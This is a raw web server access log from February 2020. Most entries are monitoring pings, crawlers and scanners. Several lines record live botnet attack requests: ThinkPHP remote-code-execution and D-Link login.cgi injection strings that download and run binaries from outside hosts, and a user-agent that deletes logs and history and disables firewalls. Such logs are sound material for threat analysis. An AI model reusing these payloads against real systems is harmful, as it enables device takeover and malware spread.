212.91.246.72 - - [24/Feb/2020:23:15:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:16:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:17:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:18:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:19:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:20:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:21:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:22:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:23:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:24:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:25:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:26:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
60.119.98.195 - - [24/Feb/2020:23:27:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
60.119.98.195 - - [24/Feb/2020:23:27:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
60.119.98.195 - - [24/Feb/2020:23:27:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
60.119.98.195 - - [24/Feb/2020:23:27:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
60.119.98.195 - - [24/Feb/2020:23:27:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
60.119.98.195 - - [24/Feb/2020:23:27:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
60.119.98.195 - - [24/Feb/2020:23:27:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
60.119.98.195 - - [24/Feb/2020:23:27:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
60.119.98.195 - - [24/Feb/2020:23:27:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
60.119.98.195 - - [24/Feb/2020:23:27:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [24/Feb/2020:23:27:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:28:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:29:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:30:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:31:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:32:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:33:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:34:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:35:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.85.91.19 - - [24/Feb/2020:23:35:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [24/Feb/2020:23:36:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:37:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.229.220.122 - - [24/Feb/2020:23:37:35 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [24/Feb/2020:23:38:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:39:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:40:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.23.11.60 - - [24/Feb/2020:23:41:23 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [24/Feb/2020:23:41:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:42:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:43:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:44:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:45:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:46:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:47:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:48:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:49:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:50:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:51:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.106.181 - - [24/Feb/2020:23:52:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [24/Feb/2020:23:52:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:53:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:54:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:55:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:56:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.5.223.174 - - [24/Feb/2020:23:57:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:23:57:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
90.42.35.29 - - [24/Feb/2020:23:57:49 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox&curpath=/&currentsetting.htm=1 HTTP/1.1" 400 329 "-" "Mozilla/5.0"
178.93.6.246 - - [24/Feb/2020:23:58:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:23:58:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:23:59:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.138.75.107 - - [25/Feb/2020:00:00:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [25/Feb/2020:00:00:20 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [25/Feb/2020:00:00:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [25/Feb/2020:00:00:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
108.54.93.88 - - [25/Feb/2020:00:00:30 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
103.89.56.165 - - [25/Feb/2020:00:03:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
51.254.59.113 - - [25/Feb/2020:00:04:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
173.76.38.236 - - [25/Feb/2020:00:10:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
111.229.96.159 - - [25/Feb/2020:00:13:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
111.229.96.159 - - [25/Feb/2020:00:13:47 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
111.229.96.159 - - [25/Feb/2020:00:13:47 +0100] "POST /Admin57f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
72.27.156.67 - - [25/Feb/2020:00:17:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
79.114.192.235 - - [25/Feb/2020:00:18:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
193.198.66.62 - - [25/Feb/2020:00:25:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
52.91.142.27 - - [25/Feb/2020:00:40:05 +0100] "GET /clientaccesspolicy.xml HTTP/1.1" 404 327 "-" "Cloud mapping experiment. Contact research@pdrlabs.net"
95.91.247.54 - - [25/Feb/2020:00:43:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Mobile/15E148 Safari/604.1"
95.91.247.54 - - [25/Feb/2020:00:43:41 +0100] "GET /favicon.ico HTTP/1.1" 404 331 "http://www.friedrich-list-berlin.de/" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Mobile/15E148 Safari/604.1"
189.157.235.248 - - [25/Feb/2020:00:46:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
213.136.85.27 - - [25/Feb/2020:00:46:49 +0100] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 346 "-" "ZmEu"
213.136.85.27 - - [25/Feb/2020:00:46:49 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
213.136.85.27 - - [25/Feb/2020:00:46:49 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
213.136.85.27 - - [25/Feb/2020:00:46:49 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "ZmEu"
213.136.85.27 - - [25/Feb/2020:00:46:49 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
213.136.85.27 - - [25/Feb/2020:00:46:49 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
182.52.203.73 - - [25/Feb/2020:00:48:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
64.227.37.74 - - [25/Feb/2020:00:50:20 +0100] "\x16\x03\x01" 501 318 "-" "-"
64.227.37.74 - - [25/Feb/2020:00:50:23 +0100] "\x16\x03\x01" 501 318 "-" "-"
185.216.140.6 - - [25/Feb/2020:00:50:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
64.227.37.74 - - [25/Feb/2020:00:50:31 +0100] "\x16\x03\x01" 501 318 "-" "-"
185.216.140.6 - - [25/Feb/2020:00:50:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
64.227.37.74 - - [25/Feb/2020:00:50:34 +0100] "\x16\x03\x01" 501 318 "-" "-"
64.227.37.74 - - [25/Feb/2020:00:50:38 +0100] "\x16\x03\x01" 501 318 "-" "-"
64.227.37.74 - - [25/Feb/2020:00:50:38 +0100] "\x16\x03\x01" 501 318 "-" "-"
64.227.37.74 - - [25/Feb/2020:00:50:38 +0100] "\x16\x03\x01" 501 318 "-" "-"
64.227.37.74 - - [25/Feb/2020:00:50:44 +0100] "\x16\x03\x01" 501 318 "-" "-"
64.227.37.74 - - [25/Feb/2020:00:50:46 +0100] "\x16\x03\x01" 501 318 "-" "-"
64.227.37.74 - - [25/Feb/2020:00:50:47 +0100] "\x16\x03\x01" 501 318 "-" "-"
185.216.140.6 - - [25/Feb/2020:00:50:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
185.216.140.6 - - [25/Feb/2020:00:51:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
185.216.140.6 - - [25/Feb/2020:00:52:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
185.216.140.6 - - [25/Feb/2020:00:52:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
185.216.140.6 - - [25/Feb/2020:00:52:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
185.216.140.6 - - [25/Feb/2020:00:53:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
185.216.140.6 - - [25/Feb/2020:00:53:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
41.215.68.202 - - [25/Feb/2020:00:53:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
185.216.140.6 - - [25/Feb/2020:00:54:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
64.227.55.76 - - [25/Feb/2020:00:57:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
128.14.140.150 - - [25/Feb/2020:01:05:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
92.45.192.156 - - [25/Feb/2020:01:14:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
125.160.198.191 - - [25/Feb/2020:01:16:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
220.86.97.5 - - [25/Feb/2020:01:24:48 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
128.14.133.58 - - [25/Feb/2020:01:25:03 +0100] "GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
185.243.51.98 - - [25/Feb/2020:01:25:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
109.230.129.83 - - [25/Feb/2020:01:34:40 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
66.249.64.39 - - [25/Feb/2020:01:35:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
114.5.96.26 - - [25/Feb/2020:01:35:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
125.47.46.85 - - [25/Feb/2020:01:39:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
116.103.38.190 - - [25/Feb/2020:01:41:29 +0100] "GET /shell?busybox HTTP/1.1" 400 329 "-" "Mozilla/5.0"
177.85.43.111 - - [25/Feb/2020:01:44:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
121.161.99.72 - - [25/Feb/2020:01:45:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
139.162.119.197 - - [25/Feb/2020:01:45:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
121.161.99.72 - - [25/Feb/2020:01:45:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [25/Feb/2020:01:45:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [25/Feb/2020:01:45:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [25/Feb/2020:01:46:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
188.240.118.74 - - [25/Feb/2020:01:49:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
141.8.189.150 - - [25/Feb/2020:01:52:34 +0100] "GET /robots.txt HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)"
141.8.189.150 - - [25/Feb/2020:01:52:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)"
169.197.108.38 - - [25/Feb/2020:01:55:47 +0100] "GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
88.99.161.50 - - [25/Feb/2020:01:55:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
66.240.205.34 - - [25/Feb/2020:01:59:30 +0100] "Gh0st\xad" 501 321 "-" "-"
222.186.19.221 - - [25/Feb/2020:02:00:20 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
122.51.43.183 - - [25/Feb/2020:02:06:44 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.51.43.183 - - [25/Feb/2020:02:06:45 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.51.43.183 - - [25/Feb/2020:02:06:45 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.51.43.183 - - [25/Feb/2020:02:06:47 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.51.43.183 - - [25/Feb/2020:02:06:48 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.51.43.183 - - [25/Feb/2020:02:06:50 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.51.43.183 - - [25/Feb/2020:02:06:50 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.51.43.183 - - [25/Feb/2020:02:06:51 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.51.43.183 - - [25/Feb/2020:02:06:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
109.195.146.67 - - [25/Feb/2020:02:07:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
93.119.78.25 - - [25/Feb/2020:02:07:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
222.186.19.221 - - [25/Feb/2020:02:08:39 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
37.54.48.116 - - [25/Feb/2020:02:09:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
80.82.70.118 - - [25/Feb/2020:02:14:25 +0100] "\x16\x03\x02\x01o\x01" 501 321 "-" "-"
